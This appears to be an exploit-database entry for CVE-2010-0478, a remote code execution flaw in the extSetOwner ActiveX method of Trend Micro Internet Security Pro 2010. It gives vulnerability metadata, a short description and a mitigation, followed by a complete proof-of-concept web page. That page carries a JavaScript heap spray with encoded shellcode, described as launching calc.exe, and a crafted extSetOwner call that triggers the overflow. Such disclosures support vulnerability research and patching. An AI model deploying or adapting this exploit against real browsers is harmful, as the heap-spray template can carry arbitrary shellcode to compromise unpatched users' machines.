Trend Micro Internet Security Pro 2010 ActiveX extSetOwner Remote Code Execution

vendor:

Internet Security Pro 2010

by:

Shahin, Abysssec

9,3

CVSS

CRITICAL

Remote Code Execution

119

CWE

Product Name: Internet Security Pro 2010

Affected Version From: 17.50.0.1366

Affected Version To: 17.50.0.1366

Patch Exists: YES

Related CWE: CVE-2010-0478

CPE: a:trend_micro:internet_security_pro_2010

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3

2010

Trend Micro Internet Security Pro 2010 ActiveX extSetOwner Remote Code Execution

A vulnerability in Trend Micro Internet Security Pro 2010 ActiveX extSetOwner allows remote attackers to execute arbitrary code via a crafted web page. The vulnerability is due to a boundary error when handling the extSetOwner method. An attacker can exploit this vulnerability to execute arbitrary code in the context of the user running the affected application. Successful exploitation of this vulnerability could result in complete compromise of the affected system.

Mitigation:

Upgrade to the latest version of Trend Micro Internet Security Pro 2010.

Source

Exploit-DB raw data:

<!--
 __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <  Day 3 (Binary Analysis)
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 


  Title            :  Trend Micro Internet Security Pro 2010 ActiveX extSetOwner Remote Code  Execution
  Version          :  UfPBCtrl.DLL  17.50.0.1366 (XP SP3)
  Analysis         :  http://www.abysssec.com
  Vendor           :  http://www.trendmicro.com
  Impact           :  Critical
  Contact          :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter          :  @abysssec
 
  http://www.exploit-db.com/trend-micro-internet-security-pro-2010-activex-extsetowner-remote-code-execution/

  SHELLCODE CALC.EXE TESTED ON XPSP3_IE_7
-->
<object ID='target' classid='clsid:15DBC3F9-9F0A-472E-8061-043D9CEC52F0'>

</object>
<script>	 
	 shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ 
                    '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ 
                    '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ 
                    '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+ 
                    '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+ 
                    '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+ 
                    '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+ 
                    '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'); 
                      
     nops=unescape('%u9090%u9090'); 
     headersize =20; 
     slackspace= headersize + shellcode.length; 
     while(nops.length< slackspace) nops+= nops; 
     fillblock= nops.substring(0, slackspace); 
     block= nops.substring(0, nops.length- slackspace); 
     while( block.length+ slackspace<0x50000) block= block+ block+ fillblock; 
     memory=new Array(); 
     for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;   	 
	 target.extSetOwner(unescape('%ua5de%u3da6'));                 //mshtml.dll [0x3DA6A5DE] = 0A0A0A06        
</script>